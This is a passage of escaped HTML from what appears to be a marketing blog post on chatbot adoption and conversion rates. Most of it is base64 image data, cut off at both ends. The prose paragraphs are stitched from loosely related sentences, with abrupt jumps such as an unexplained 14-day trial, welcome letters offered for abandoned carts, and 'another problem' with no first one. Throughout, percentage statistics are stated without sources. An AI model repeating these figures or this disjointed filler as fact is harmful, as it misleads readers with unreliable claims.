SNZ08FwO+fd22AW2KU72qalRzg4Z3QAJiNZ5a+K+qGMyVxmNBwZW7Kme7xYmkKjYFmi3JA+bvSrTSv8A0X47\/wAGT\/8AlSvmquA2q4DaT719D0CXUmk9B7lllKUryXqlY3rXWCaJtMfdth7i\/iuriWB47ZlEkax2k9xuoYhWJ8gIAWUbuDv22OSUoi15jOrZyOd1DiH0pd21vg4ZZ0vZbmMRzqllYXJBX5SN\/wAv4HYMo8onkS3FYzLeIvSmJzEOHbTWorlrl8skM0KWojkGPjLyuA86vxcjjGSoDllPZWVjtarG7weEv8lY5m\/w9jc5DF+b6DdzW6PNa+YoWTynI5JyUANxI3AANEWuMn1tyNpisLqew0NJdYXKuqv5mQEF9CHRHj2iZPJ3PmAMXnjRNiS\/EE1aDxFWKagwuNuNF5WOx1DYWd7YSiWM3KiaJZX9IiJEduIldQwebzHYgRRyDdhuClBoBKHWYWi8b4l8lf8AS7CdSj0yvAc1iL+\/XHxXckzwXMDARRSMsG6xOA5aYqPL2X1HBJXKMx1hyFthPjDhtC3dxaWeQu7HIx31z6JMvo1u80rWwVJI7j\/dSRgmSNDIuxcDdhsyvOC3gtkMdtBHEhd5CqKFBZmLM2w+csSSfnJJogWtk63R3sl1bYzRGW9It8Vd5FBe3dnbxSSRW8Uyw+aJnUcvNKF9yFMbt3T16xu48T8ePtJLi\/6bZuT0e5t4ria0mia3hhePGtJMTN5UpAbJqiBYjzMTMSiksu8a854ILqCS1uoY5oZkMckcihldSNipB7EEdtqmQi1npHrgNc3cNrg9C5azZcoMddrlrq1hZFBuleSHyZJln4mzc7Bl5IyupYEVtClKhEpSlESlKURKUpREpSlESlKURKp2Hmb7dyKqqn+v+aiKqlKURKUpREpSlESlKURKUpREpSlESlKURKxrqPoq36h6Kymjrm7e1jyUJiMyAEp9B2NZLSvSjWfb1G1aZhzSCD0I1C86tJlem6lUEtcCCO46FcwaG8F+K0Xqq01DdZODPW1sJFksMhbI0MwZSoJ+jYkH2H2bVTrPwWWetdYX+ppdTHFwXrKY7G0t4xFbKBtsp25Hf29ydvYNgAB1DSs2eKcYN8MRNc9sBlzabdIiI+7fXdYYcNYSLI4f2A7KZy679ZmZ+\/bTZQ4xkOF0m2Jt2ZorOwaBCx3JCx7bmlXmZ+9F9+TS\/wAJpWBcS4yd1nGgNEDZf\/\/Z\" width=\"301px\" alt=\"chatbot conversion rate\" \/><\/p>\n<p><p>These organizations\u2019 adoption of chatbots grew 67% within only two years. It was only 23% in 2018 and increased to 38% in 2020, as the available chatbot statistics show. First, let\u2019s roll out some of the highlights of the statistics you\u2019re about to see. As a result, brands are facing new challenges in terms of communication. However, chatbots have emerged as a solution to help  businesses navigate this changing area, especially as new communication channels continue to emerge. You can initially benefit from a 14-day trial to understand its offerings better.<\/p>\n<\/p>\n<p><p>About 77% of customers prefer brands that ask for and collect customer feedback. It\u2019s always better to have an option that lets your customers signal their dissatisfaction or leave negative feedback. Otherwise, they may just suddenly disappear and never do business with you again. A straightforward NPS or CSAT survey in the form of a chatbot is a quick and effective way to gather valuable insights from your users. According to chatbot statistics for 2021, 50% of companies will spend their budgets more on chatbots than on traditional mobile app development this year. As the application market becomes more saturated, it makes sense for larger organizations to focus on creating AI-based workflows for their business strategy.<\/p>\n<\/p>\n<ul>\n<li>Usually, they do it in exchange for something, like a discount code or a free ebook.<\/li>\n<li>Chatbot handoff is the percentage of customers that the chatbot couldn\u2019t help and had to redirect to human agents.<\/li>\n<li>The best place for any marketer is the space with the most users.<\/li>\n<li>If your HTR is too high, you need to train your chatbot more, as it doesn&#8217;t reach its goals.<\/li>\n<\/ul>\n<p><p>If you can figure out when your customers start more conversations than usual, you will be able to manage your resources better. They can help increase customer engagement and loyalty, drive sales, and improve operational efficiency. Additionally, chatbots can provide businesses with valuable data insights that can help improve marketing efforts and product development. They greet a visitor personally just like a salesperson would greet a customer coming into a store. Approximately half of all consumers would rather interact with a brand via messaging instead of email or phone calls. After deciding on your business case and targets, it\u2019s all about building kick-ass chatbot conversations that provide value to site visitors and nudge them towards conversion.<\/p>\n<\/p>\n<p><h2>How Can I Make My Chatbot More Effective?<\/h2>\n<\/p>\n<p><p>However, people tend to quickly forget about the goods they left in the cart. A good trick to strike up a discussion, create a favorable first impression, and develop a connection is through welcome letters. By introducing your company to the visitor and offering immediate help, you add a personal touch to the connection. According to SiteMinder\u2019s survey on \u201cWhy do Guests abandon their booking\u201d, 13% of visitors dropped off the booking journey because they found the process to be overly complicated. Another problem needed to be addressed was the traditional booking process that asked for a ton of details from the visitor.<\/p>\n<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='margin-left:auto;margin-right:auto' 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xmwDqWO3l27cc5x0acHJavV5xVctKUvZX4nm8jQSu9PtP8AAvlt8CnwgrxQU91tOm7ZWUVXG2aCogvdG+OVjhkOa4SYII9IW3fBv8CrilpfidaNccQ2UNooLBUCrjp46tlRPVStB2AcslrWh2CSTnpgDrkegvAvtl7tXg5aWp75BNC+TtVRTxzAhwp5KiR8ZwfQ5rtw9bXA+lbuXEs\/4\/zdVcTlicNKcoalF3au1dXk1uv5G\/5ZwxgNNLGWkpWUrN8nz7LkERFzE28yLf8ATYffCsyrNv8ApsPvhWZAEREAREQBERAEREAREQBERAEREBwl80\/3So9SEvmn+6VHoAiIgIPW2lafWumK3TdRVy0naRG+GpiAL6eeORskMrQ7oSyRjHYPQ7cHoVqTRWiptI8SKzS\/EWrtl5\/lrYKsGVtJyKSum+UqypqacQyPf\/3dew7C5xLWSHqGnG91D6q0jp3WlqNm1NbGVlNvEsfjOZJDK3yZIpGEPjeMnD2EOGehUNEpnnzilqyv4f8AEOituhtEOt9TozRt9fZab5KnqaK4RvfajGyFlOASS8SxOY07mENkf4jgTCWPVVzvPCHipa7voKkstRcbdLY7RXU9rrbdHdKurdU01NSRQVeX5J5MniEsAqgCGljicKzak0LZbjRy3XUV9v8Acaa36nhuEjNbVBuNshgu9LDDFG+erYym5jOXuc5zHPEIAJyQ6zcE+IPDS\/cQ7fbazTt+qNTVU1eLVWXLVMN8jpqePmOY5oNfUOgldAAHuawAuLm7sK3ZN3ZejVnCDhFtJ81fZ279zZ\/DPhHd9GX+pvt91PDcWxOukdppaejMLaWCvrhWT81xe4yyF7Imhw2NDY\/JJJK2ciK4lYsBERSDtpfPD2FZywaXzw9hWcgCIiAIiIAiIgPjvJPsVSVtd5J9iqSAKCn0FoapmfUVOi7FLLIS57326FznE+kktyVOoq4VZ0t4Nr0FMoRn\/aVyv\/m74f8A+Yunv2ZB+6n5u+H\/APmNp79mQfuqwIrvnVf6b9bKfI0\/or1Ff\/N3w\/8A8xtPfsyD91co9AaDhkbNDomwskYQ5rm22EFpHcQQ3op5FHnVf6b9bHkaf0V6j7HGXubFEzJPRoCzxZK0jO6If+o\/2LHoJWQVcckhw0HqfV0SjsFzpaieVms6qWGarmqmRyAP5bXh2IwST4jS7IHo2tAwBg2C4d77NWsaXfNux6Gu6\/8ABUTW3E7TGhKqgtdy7bW3a6F\/YrXbaV1TV1AYMuLY29wA65cQOh69Cr\/brbdaSqinrNVy1kTGua6F0MbQ\/PcSR1BH3dDgdO8nTmsuFGpbt4QOlOLVpuFuNrtVsqLfXU80h5wJdPtMbcdd3PHXIxsOe8A3aUYSl897WZTNtLYuvDjiDpniCH1mnqqUyUFUaStpKmF0FTSTN745YngOaf8AYcHBOCtkrQXAnhfqrQuvde6n1RW0Ep1ZeIqqljo5HOa2JhmcC4Fow75\/bjqcsPfkE79UVYxjO0HdCDbjdhERWyoIiIAiIgCIiAIiIAiIgCIiA4S+af7pUepCXzT\/AHSq7qWovVJp261Wm6OKru0NFPJQU8rtrJqgMJjY45GAXbQTkd6AkkXgqg1bpubgNqXXcvhCavqOLc2mbk+42Wp1HNTPoq1g+dYyhaW8rkkO2EAdMuHd4stfuOnFnSF41xU3+kqaG\/VOhrHQaZs1DdJbo2e41c00UVRGzYzM7ur3NDSSIsZcqdRVpPb6LwBeNdasrfBY19artrHiJbNacLK2OW31ddU1tquVVbqypjFPNVN3B0p2mZgDiQNjT6QT6809ZrfpuCPTNfqa9ikt8LHUctfc5Z55g4l73PnkJfI4OcQMk4AAHQLwY\/MFgYRk1fU7btJLZvdvlyt4uy6l\/D4Z121fkr8rvpyX1+ov\/Z6fJPIj8bv8UdUZBBG7cyGNp9YaAVSq2ukzcKiS7VUV0gquXS0zXkBzMjYAz9IEeldFZc77zLnTwTy7aqaVsTxIfmeT4zwPVkdOiwdbiyjRvem36Gn9JJPs3KNrPlqV+tvfDJ5ztaSXp27Xt3STvfwZsBFSKD5audy5tHUzBsRpZHPNS4MDDEC5uzuOVwo6+of2Oq+VKl93lreXUUhkO1rNx3DZ6AGjOVXHiiErN0mk3JJt2TUZKL035yu9ornvvdNFLyqS21q9l9V1ffsvH9xekVDnubo3XQR3KWpklgmlimhqXbY2gjDXM\/QI7gR61ZdLvEltLhKJCX9T2s1HXA\/SPd7PR\/rXry\/PqeYYjzeEbOzfO\/J+Ct487b7NlrEZfLD0\/KN+\/v4emxOUvnh7Cs5YNL54ewrOWfMcEREAREQBERAfHeSfYtV6r1lUWJ0lHaLFUXavjiZMYm7mRhrnFozIGuDSSPSMesjIztR3kn2LVGstLPraWeusDGw3OrextTLyhLIWsa4MdGXvDY3AEtPTqHfjaqxnONoSs9ul\/e5XBxT+crnHVPE7S2jNDXXX+oKiWG22Zh7UGRlz+b4oETAcbnOc9jR1xlwyR1x5MqPyl7WzyNpuDTnwhx5bpL\/tc5uehIFOQDj0ZPtK294T2i4aPwXL9baDkG71MVubWyyytpo3ujqYQ3rI4Rsw0EdCM+0rwxNc9eVotXynZdFVptFPHTQumulGXPjjjcxjZCKjxgA4Y91uMDOer8DcPZVmeAnicfTU5a3Gzm42SimrJNXu2079tupp3EOZ4vCYpUcNJxjZO+jVe7a37WSPQv8AOYy9\/wCZdv8AWE\/3ZP5zGX9S7f6wn+7LRFRqjX9RQSW12lOHDIJZqictZUUAAdNG1j9o7Rho8RjgAPKY09cBQ7ZNdMuYubbTolp3NdJC2ut7YpSGOYdzRN3lriCRgnHfjOd0hwfw609WGiv+6X5jA\/HmZ\/6svskej\/5zGX9S7f6w\/wD5k\/nMZf1Lt\/rCf7svOdxl1bcZHvOk+HtMHU81OGU1XQRtbzSwukAE\/lgsyCe7e4AYwBydU6zkpIqWbTmgpDFJA\/murqEPdypN+0kTgAOOQ\/aAXDAJ6NxV8juG7L9Wj9rL8xT8e5rv+lf2aPVGh\/yjWn79qais2rOHM1it9ZK2F1fDdBVchzjgOewxM8TJ6kHIHUA9y9ir8paPTWpOJt5ttkvc3DzS1AKyKevuLbxQwZaAGF7\/AJ9z5HAF5AAOS4k471+k\/wCerg3+tnRv7dpf31zvjXh\/BYGpR+KqTTaeqMW5pWtZ333e+1+i2NnyDMsRiI1PPJ3Sas2lFvvt4bFzRUz89fBv9bOjf27S\/vqx2PUWn9T0Iummr5b7tRlxYKihqWTxFw7xuYSMj1LQ6uExFGOqrBpeKaNjjWpzdoyTfpJi3\/TYffCsyrNv+mw++FZl5y4EREAREQBERAEREAREQBERAEREBwl80\/3So9SEvmn+6VHoCPfp6wS1NRWS2O3vqKtnKqJXUzC+Zn+K84y4dB0K7JLPaJahlXLaqN88ezZK6Bpe3Znbg4yMZOPVkrMRAYlTaLVWGY1dspJzUMbHMZIWu5jWnIa7I6gHqAVkPhhk28yJjtpy3LQcexc0UNKSsyU2uRwMMTpBK6Jhe3oHFoyP9acqLr80zrk+SPT3rmijTHsLs4sjjjzsY1ucZwMdy+CGISGURM3kYLsdSPauaJpj2F2dYp4AXEQx5f5Xijxvb61yZHHENscbWDvw0YXJEUIrdINtnbS+eHsKzlg0vnh7Cs5VEBERAEREAREQHx3kn2KpK2u8k+xVJAaM8Nr\/ALNWrPeof\/uQr8+abR3DRlDQuu1brCkqqqnppHZtnzbnyNy4x+Ll7R1Deo37c5APT9ReM3Dan4u8NL5w+qLg+h+VYWCKpa3dypY5GyRkj0t3MbkekZwQeq8WyeBn4VIo\/kkavsLqNgjYI2XF4YRHHy2dOUD0Z06jPr6rrnAWd4LA5ZPDV8QqUvKOW7tdOMUrOzT5P3ZpPEeXVsRjFWjSc46UtlezTfiu554qNNaHioqqU3W\/xzQbhEZLYQyU87a3P+IeWHEgk9QRnpgyTtGcNYJ30lbf9TQyxmZzybQ7a1hlPZi4EBzRJAY5C7BwXYDSDkbyPgZeFQ62x2d+qbC+ihpW0UcD7g5zWwNGGsAMXcB3erAx3BdsPgdeFVTsayHU2nmls\/adxrnEmTltjBOYvRGzYP8ARc8dz3A71LifLWtsdDr\/AI1+Q19ZRWv\/AHaXs\/1mjabQ3DCdjpTqy+hojY9oFqkO8uMQAHid\/jS92R827BOG8yKj0ro6nkp4Lzcb1RPjh\/wg59C8Np6jmsYYvIz0AnJODgswA4jxvR9J4JfheUMDaWk1xZ44WxxxBguT9uyPyG45XcFjv8DnwqpYp4JtUafkjqYqiGVrq9xDmzvc+XPzXUuc9xz6CcjGBiiPE2Xpu+Og1\/vX5CXlFZ8sNL2f6zQ9y0XoGnp5JrdX6mqXmUMjjltz4ngioZvaRy3AkU7i\/vHXb064XKo0Tw7hhqamC76lnhp45Hhz7W+Jz5Bksixsc1hcGnLi\/DQQ7DurRvJ3gZ+FS\/tRdqux\/wBN2do\/wk\/53Y4PaHfNdQHAOx6wD6As+fwUPC\/qcGfXFle4ODw43B24ODQ0EHlZBAa3B\/0WnvaMR8pcvSSWOh7fo\/Y9Pvyn4pqv\/LS9n+s8oako9O0E4pbJPXSyRukExqBtA+dla1oaWNcMRticSe8yEbW7evqz8m3drizWurbG2rk7BLa4qt0G7xOc2UND8eg7XuH39PUFWJ\/yf3H2pc181bphxZGyIf054w1rQ1o6RegAD\/UvSHgh+C9feBL71qLWV0oqm83aNlJFBQvc+KCnadxLnOa3c9zsdAMAN7zuOMZxdxJk+JyKthqWIjUnJKyTu76k\/wBxfyTKcdSzOFeVJwgr+G1n4vmem7f9Nh98KzKs2\/6bD74VmXADpoREQBERAEREAREQBERAEREAREQHCXzT\/dKj1IS+af7pUegCIiAIiIAiIgCIiAIiIDtpfPD2FZywaXzw9hWcgCIiAIiIAiIgPjvJPsVSVtd5J9iqSAIiIAiIgCIiAIiIAiIgMi3\/AE2H3wrMqzb\/AKbD74VmQBERAEREAREQBERAEREAREQBERAcJfNP90qPUhL5p\/ulR6AIiICOrNR2G3VHZLheKSllyAGzShhJOMAZ7z1Hd6x611HV2lWuYHaktg5kfNYTVx4czJGQc4I8V34H1Luq9P2KvqHVddZqGomezY6SWna9zm9OhJHd0H4Li7TOnHwinfYbe6JrOUGGmZgM3b9uMd27xvb1QHXLqzTUEFXU1F7pIoqGR0NRJJIGNZI3dluT3kbHdB\/ilcmap01JPNStv9v59Pv5sZqWB7A3duJBOQBtdk+ja71FJNLaZmE7ZdP254qZTPMHUrDzJDuy93Tq7x39T18Y+srkdNaedUSVjrHQGeVr2vl7Oze5r87wTjJByc+vKA6m6v0q5jZG6ktu14BB7UzuLywHv7t4LfaCFn0NxoLpB2q21sFVDuLeZDIHtyPRkdFgu0jpVwIdpy2EOY2NwNKzBYDkNPTqASThSFJRUdBFyKKligjznZGwNGcAdw+4BAdyIiA7aXzw9hWcsGl88PYVnIAiIgCIiAIiID47yT7FUlbXeSfYqkgCIiAIiIAiIgCIiAIiIDIt\/wBNh98KzKs2\/wCmw++FZkAREQBERAEREAREQBERAEREAREQHCXzT\/dKj1IS+af7pUegC66iV8MLpI4jI5vc0Z69fuBP4ArsXF7S5pa15YT+kMZH4oCLN5rmy8s2KqIDC5zh1BOTho9ZP34HXvWRDX1cs8UbrbJGyRu4vcT4pyemMd+AD1I7139mm+3T\/gz91fHQSMaXPuEzQOpJDAB\/uoDIRYPNg\/y1\/vx\/2Lkx0cjgyO7ue49wa6Mn\/ggMxF0dmm+3T\/gz91fWQStcHGsmcB6CG4P4BAdyIiA7aXzw9hWcsGl88PYVnIAiIgCIiAIiID47yT7FUlbXeSfYqkgCIiAIiIAiIgCIiAIiIDIt\/wBNh98KzKs2\/wCmw++FZkAREQBERAEREAREQBERAEREAREQHCXzT\/dKj1IS+af7pUegCIiAKJ1QSLU4AkZe0H71LLpq6SCtgdT1DdzHeo4IPrQHme8cZtS2evNsj4WaguMwq7rC+SnoapsMcdO7+ju5ghc13OaQ7IOAA7G52GG1cJtc3zXUj7jdtH3DTscc1PyKavgljqPG6u3h7GjI6eRuABGTnLW7c\/kra\/XN8Y\/sXODTdsp5mTNbI5zCHAOd0yEBKoiIAiIgO2l88PYVnLBpfPD2FZyAIiIAiIgCIiA+O8k+xVJW13kn2KpIAiIgCIiAIiIAiIgCIiAyLf8ATYffCsyrNv8ApsPvhWZAEREAREQBERAEREAREQBERAEREBwl80\/3So9SEvmn+6VHoAiIgCIiAIiIAiIgCIiA7aXzw9hWcsGl88PYVnIAiIgCIiAIiID47yT7FTe10v2mL4wrke5V+qqY6WSNho3yB\/e5jAdvUDr+P+xVRSfMpk2uRG9rpftMXxhO10v2mL4wsl15omRMlfQ1TeY8xsaac7nOGc4HqwCc92PSvjr1StY2T5MrSHOe3pTEkbcZOO\/rnp6\/Qq9MSnUzH7XS\/aYvjCdrpftMXxhdsuoLfBE6aahq2MY0ucXUxAAwT1PcO70\/cpGlkhq4GVDIHMD84bJHtcOvpB7k0xGpkT2ul+0xfGE7XS\/aYvjCm+XH9W38E5cf1bfwTTEamQna6X7TF8YTtdL9pi+MKb5cf1bfwTlx\/Vt\/BNMRqZASXS2wuDZrhTRkjIDpWg4\/FcPlqz\/5Vo\/\/AH2\/2rwJ+UtAbxg02GgD\/q1H3f8AmqheW6DTdRcNPXLUcd0tcUdskijfSz1jYqmbmZwYY3YMoGPGDMluQSADldOyf4OKWaZfSx8sVo1rlova7slfUvuNQzDiueCxc8LGjq09dVul+x+1NrutrmuNPFDcaV73PAa1szSSfuGVcF+M\/goE\/wDSP4e9f\/G4f+a\/ZhaxxbwyuF8TTw6q+U1R1Xta27Vub7GXyLOHnNGVVw02dud+l+yCIi1MzgREQBERAEREAREQBERAEREBxe0uY5oOCQQsXsUv1zfh\/isxfMj1hAYnYpfrm\/D\/ABUTe77ZNOyQw3m7RUz5wXRh0bjuA7+5WHI9YVf1Rp6w3V1Ncrran10tGSIRHE2Vzd3Q4DgR3ZypSbdkQ2krszbe+C60cdfQVjJYJQSx4YRnBx6fvCyOxS\/XN+H+K50FHS26lZR0jQyKPO1oAAGSSeg6Dqe4LIyPWFBJidil+ub8P8U7FL9c34f4rLyPWEyPWEBidil+ub8P8VFXW9WizVdPb666wtq6ogRUzGF8r85wQwHOCWkA9xIx3qwZHrCp+qtO6cvlwlku9v1BK90cMB7DV1UEcgY5z43fMvaA5jnuIccEHBHVrcATltfDdrdS3WhqQ+mrIWTwuMTmlzHNBaSDgjoR0IysnsUv1zfh\/ilqFHHboIKGjdSU0DBDDA6Pl7GN8UAN9AwOn3LLyPWEBjw0z4pA90jSB6A3H\/NZK+ZB7ivqAIiIAiIgCIiA+LD7BJ9e34P4rNXzI9YUp2IauYfYJPrm\/B\/FR17uVq07DFUXm6R00cz+WxzonHLsZx09incj1hQ+p7HZr5RRi8UDqxlJIJ442MD3bx3ENPQpqZGlHy01NBfaU1truEdRBuLN4jIGQAfT7Qs3sEn17fg\/iuNmt9BbKIRUEHIjlxKWFoYQS0DG0AAdAOgCzsj1hNTGlGH2CT69vwfxTsEn17fg\/iszI9YTI9YTUxpRh9gk+vb8H8VFXy9WXTj6SK8XiGCWuk5VNFsJkld\/otByfR17skDvIzYcj1hVXVlnsN6rqd14tl7qDSxPa3sU9RHFK1zmExyNie0SDLWnDwR0I9JBqjqk7IiWmKuzRXhA+B\/QeE1qW262ZxGmsTbfQG19n+RjMXOjnlLnHdKwtO5xbjH6Oc9Vq3+axov13T\/1eH95Xt7TlPbqCz09utdJVU1NStEUbaovMrumS5zpCXvcSSS9xLnOJJJOSpPI9YWy4PjLPcuoRwuHr6YR2S0wdvXFsxNfIctxlR16tO8nzd3+J454Vfk7KThhxF0\/xAZxamuLrDWsrBSGyCITbf0d\/Pdt7+\/BXsdfMj1hfVi81zrHZ3UjVx9TXKKsnZLbn0SPbgsvw2XQcMNHSnv1\/iERFiz2BERAEREAREQBERAEREAREQBERAEREBS9Ha61FqTV+qNOXXQFxstDYpmRUVzqC\/lXNpLgXx5Y0YG0Ho53lBXREQGuuNHEXVvDq02yt0lomfUU1bWtppWRhxETSQBkDHVxPQk4GDlbApZZJ6WGeWB0D5I2vdE4glhIyWnHpHcu1EAUDpXUN2v8l5ZdtK1tj+Tbk+ipxVPa81kIjje2oaWZbtcXkAAnG05wctE8iAIiIAiIgCIiAIiIAiIgCIiAIiIClW\/XeoqzirctAT8P7lT2ait4rIdRPL+zVMp5XzDfEDd3zjv0yfmz09V1REBSuMGtr\/w+0NV6m01pqS+V0D2NbSsa53ik+M4hvXAH3j8cA2XT9wq7tZKK5V9ukoKiphbJLTSHLonEdWnCkEQBQNl1DdrnqW+2St0pW22ktQpzSV872ujuAkD9xjDcgBpYBgnd4wy1vTM8iAIiIAiIgCIiAIiIAiIgCIiAIiIAiIgCIiAIiIAiIgCIiAIiIAiIgCIiAIiIAiIgCIiAIiIAiIgCIiAIiIAiIgCIiAIiIAiIgCIiAIiIAiIgCIiA\/9k=\" width=\"304px\" alt=\"chatbot conversion rate\" \/><\/p>\n<p><p>Gateway Containers collects the information of website visitors who are interested in their services through a traditional contact form (conversion rates usually below 2%). Moreover, the chatbot also keeps a log of the conversations and captures useful information such as the contact number and email address of customers. The best part about a chatbot is that you can customise the conversations as per the stage in which the customer is in the buyer journey. This gives you an opportunity to nurture every lead appropriately. Let us take a deeper look as to how a chatbot can bring about increased conversions. You can use chatbots to connect with clients in their local languages and get translated conversations of the chat transcripts.<\/p>\n<\/p>\n<p><h2>Customer service statistics show that 55% of people like chatbots because they provide quick answers.<\/h2>\n<\/p>\n<p><p>When potential customers visit a website, they are very likely to search for information. A conversational AI chatbot may be able to provide them with the appropriate responses straight away. This turns out to be a game-changer for companies that depend on prompt and effective responding to client inquiries. For example, Mailchimp chatbot offers you to ask any question and suggests choosing from the frequently asked ones.<\/p>\n<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='margin-left:auto;margin-right:auto' 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m2ywrv7EnQ176T6KJGBct8aDH7V4XOM88iNo+hX562z2CdtuJ+lxkkA+6Fg9vTYUPSomtpvgVBEk+YE6j0hMZhVsS3OIJJ\/+QDqP\/mD\/K4dsHgo8RuU42jKrLxVe3oDzXnNLUhDanUEbCkIWoLUCPTQ71pTI8duuM3STZb1b34U6E8piTGkNlDjTiTopUk9wQfnXpfypdcuzLxZZVYZ3iDm8bnHp8KJjcTyJDrMgrQgJQhppaUjewo9QIV5mvQarj7xn4ZlmGc6ZDZs4y9OT3vqZfl3RMbyA8XGUrHwAkJABCfX2plSkA0cyJjX2d1DiGF0qVuHjQkAxrxjjsd9YXOy06NUKflTjyD1b3SQNb3VAjVceTCb186QT31T2vspBR33qmkJQUkb9qV3A70enoPWpcS3OyyEtoWoqPYJBO6c1jn6NCmo0X135KYJPcoaQt09CPftW0+K+Ccl5FiSr2iTAs2PwFBE29XV7yIjCj36QrW3F69EpBNYyxgGRRUpmSrDcWYxAIecirQ2f9YjVdI+IzHsks+GYpExFDUzjqy25luJMtr6X47k5SAqQ8+UH4HVLUQOvR0karZsMOialYaBdxgXR0ljrm9YYHDmsU\/4CODnx9AgeJWzm4n4Uqk2SU1EK\/l5xHYfaUitY8ncQZbxfcGY2RxWTHnN+fAnRHQ\/Emtf02XR2UP7R7isRkXeUh4hSz+t7n2roDh6a7yZxDnfGF6WqSixWtzKLItZ6jCfYUkPJQf5qHEKO0+mxv1p4Ftek0mCCnClhuNONvSp5XiYPh3LnDy1lYQPc6rOuNuHs45OuhtWH4\/JuT6B1uqbADTCP6bjitJQn7SRUvifiy78o5\/a8Os\/Q27Pe0t53s1HZSOpx1f+SlIJP3V0TmWTIiWgcb8VxJdo49gykQp1xjMqDl2kj9Z+Qsa699yhvegkD3p2HYQaxz1Nl410ixh2GVDbUvmCw5jwx8eWNPk8heIDFbZMHZcS1x37mttXyUttIRv7iaYneFfFMiHRxdzpieQTj\/e7fMS5bZDp9ko84dKlH5bFbqv3BvD1tevXGMS7yo2WxYEe4xL\/AHyc1Et7wUW1dDaB+qFNrJBUonY1qls8NcF3t5\/AbbGukm+2DGjdZ9\/sdxRJhyJCG+tSA2Unq7lKQUHuT6VtnDLcj5dPxz8PquPbjl21\/wD5DPgIXEGd8bZdx5enrBl9kl2u4Md1sSWyklPspJ9FA+xHasS9K7ixm33fkXDrXx5zhbJSbJelOQsOyucyfOtswa02XVd1x1EpBSew9Qex1yFn+F3bBsmuON3mMWJ9slORpDeuwWk6P4e4PyNczimGG1Odg0Xa4LjQv5pVT2gJWNUA6qgJJqtYq6OErY96T1gH1opC9apCYShCne\/akFZV37Uke9FNJTmgIJ370UBPeq9P201O0CeWNe9VSoHtSHD7A0hJUDUkqKJU5nsfWtweHLnW6+H3kWDyNZrPEuUmCy+ymPKWpLag62UHZSQewVv8K0w24ofKpTbxPrrVT03hsjmn0az6DszV0PYvE7ebNx1nnHLVnhqi57OjT5UorUHYq2Xw8kNgHRBIA71n2Q+PzPcnyPjjIrva7etfHQDjLSVLCLi+W0IU88N9lEI\/m+nUrXqa5CRJA+Qp0SN+9XPiZMke4j7LUGP1huPZEH6aLpnH\/GRkGPZFyZkcbHLa89yZFkRZbS3HOmIHlLJLZB2SOs638hWh1Xt5cguKWdK7EE7rHisn+dT7KirQUN08XDp0Vatj1dxmV2xcv5QC35W3blZn4duOsgk22E1Aak3OIqQ4GmwdJBVvQ2SdDtsmrfx14zm8QxO84LJ4hxC9WO732RfBAnMrVHjLdUFJabb\/AFQhAACe2wBXJMNBJASe1ZDbY6laB2d1aoNa4Bkab7nh5qrW6U1KDYG3ieG3FdLNeKqNC5NxXkvEOHcQx2ViqpSkxbXHLDMwvMqa2706J6QskUWjxVZ7Z+Msx4xh2+MYGYzZEx189XmxA+QXWm\/bpUAR376Ua3D4HfCbg\/LWJXvLuR7XMkQ2paINvQ3JWyCtKep1fw62PjQPv6vtrp7\/AMAjw360MZuI\/wDzR786lrXtjbvNGrOYRwnbUfdV6GPYxe0xXotblO0nkdD67Lzyv\/ieyS83nja7PY7Aac41YYYhtoKyJYaUhQLm+430D9X7ay7J\/G1YMmlyrrfvDVxrcLnPJXImSYRcdWsp11FatknWv6q675D8AnCL2FXv+5GxT2L23CeXb1quLrg88JJQCknRBI1o\/OvKy92xUOW40pBHSojShog\/dUlKpbXjTUoD5fEb681HV6UYhY1G07oAEgkQdN9vXVZtknPt3v8AwvifCjtnitQMTnSpzE1C1F99T7jqyFgnWgXlAa+Qq+Z\/4t825I4SsXCuTQYb7FhcZW1dFLWqU6lpK0ISvZ0dJUB1ep0Ce\/etHOoCSd9vuplKUKOiKaYnUbGfMod0puKgk9\/qdytswOd7yxwNK4ERZYirbMvSb0qcVK89LgShPQBvp6fgHtvuan4xzhfbDwXfuDWbLFct9\/u7d3dnLKvPbWhLICEgfDr9An179zWqrRF8+Q02oepr1V4f8Dfh8yfinDcnvGO3By4XiwwJ8tabk6lKnnY6FrISDoDqUew7Clq1qNmwVK2xM6DiNVDQ6Q4jdViy2gubqZMe9QuB+T+fsk5EsmDWiTbWbWMEtjduhyYbiw44EBADiiT8KtoB7aqfzp4vM75ttWHRsjhw4dyw\/rcbuMQqQ7JeUGtuqHolW2gr4dDZPYaFdz8weB3w\/wCL8YZRk9lx+4tXC1WqTKiqVcnVBLiUEgkE6PcehrypvUdDTykdA+E6FNpVaF0zraI0adJHPdTnpJiFnWbTuYDoJEaxz9V0zc\/5Qm53JuBfb7w9g9xzS3JbSzkr8LqkjoI+IA70r5HegTsAVzf4h+arlz1yRc+SLta4tuk3JLKVx4qlKbT5bSWxoq79wndYbNHSo9PbdWSQCFFWyao1oAhohXXY6+6ZkgAe\/RRlJ3TS0gd9VJT3OiBVFoBGqpFZ5fJUTY32FK6d+1LLYBpTTTjqtJQfXVIGFx0Cka1zzlburjiWNXXK7\/Bx+yxFyZ1xfRFjsoHxLcWoBIH4muk75mmM+G0u4RxhbrbNyqGgNXnKZbCJK0yR+uzDQsFLaEHaevRUSD6VjnhDsUljmOwz1RVKUhMxUNwo+AykxXS0AfQnqA+2tLZhImuS3nJLilPrWVOlX6xWSd7+3e63qTDY23Wkalek2FI4FhfxTmf3Hc+HuFtKJ4s+bYc\/6Z\/wlXaTtXxMylIfZUPdJaWCgj7NVsax+J\/jkWW83a5YVLg5FdrZItsuFaVIbst0U42UpffYV\/enEE9Q8sdyB6Vx8VEn4vxp5iUtCkpLhCd+h7iqdPGKwmdZWbbdLrykSH6gq5y4K3nFLZbJSklROye26394TWVtSeRG1jR\/uCu3\/wC1FZp4U8pg47xXkF3gw4bsmz5DbZd9QqK287JsSwpt5GlAnoSrurWvUVfsO48e4+5F5UhNxei1TMKvMq1Ptp2zIhudCmltqHYjpOu3oQR7VrWdgMzbhp3XU4RgbWubiTHbzI8isQ8PMBNn4+5SzqOronRbTFs0VY9UfTHilwg+x6EEfia3YxnlzxLirDLvw\/KYj2wyVWa4WO429Drk66LAWqRsgpd1+j6T8PR8IrAfCzNhW7jvMp89bTUaNfsadeW5+qltMlwqJ+wDdbIzm7z3c8xLOpue2bIsJj5eG47dvaCEQCVJWEufo07Pl9PfvvproLam0UwCNO\/Y6DTaOP7L5L6VPc\/Ga4J4q03LHYDWWOY\/cMUncr8juoL13Lk11MOAs9y0A2QVlIOiSpKUnsB2qJEsFvVmDeNs4bc+IuRCjzrG6xMdXCuDo2UsqDiiUdetBSVKST2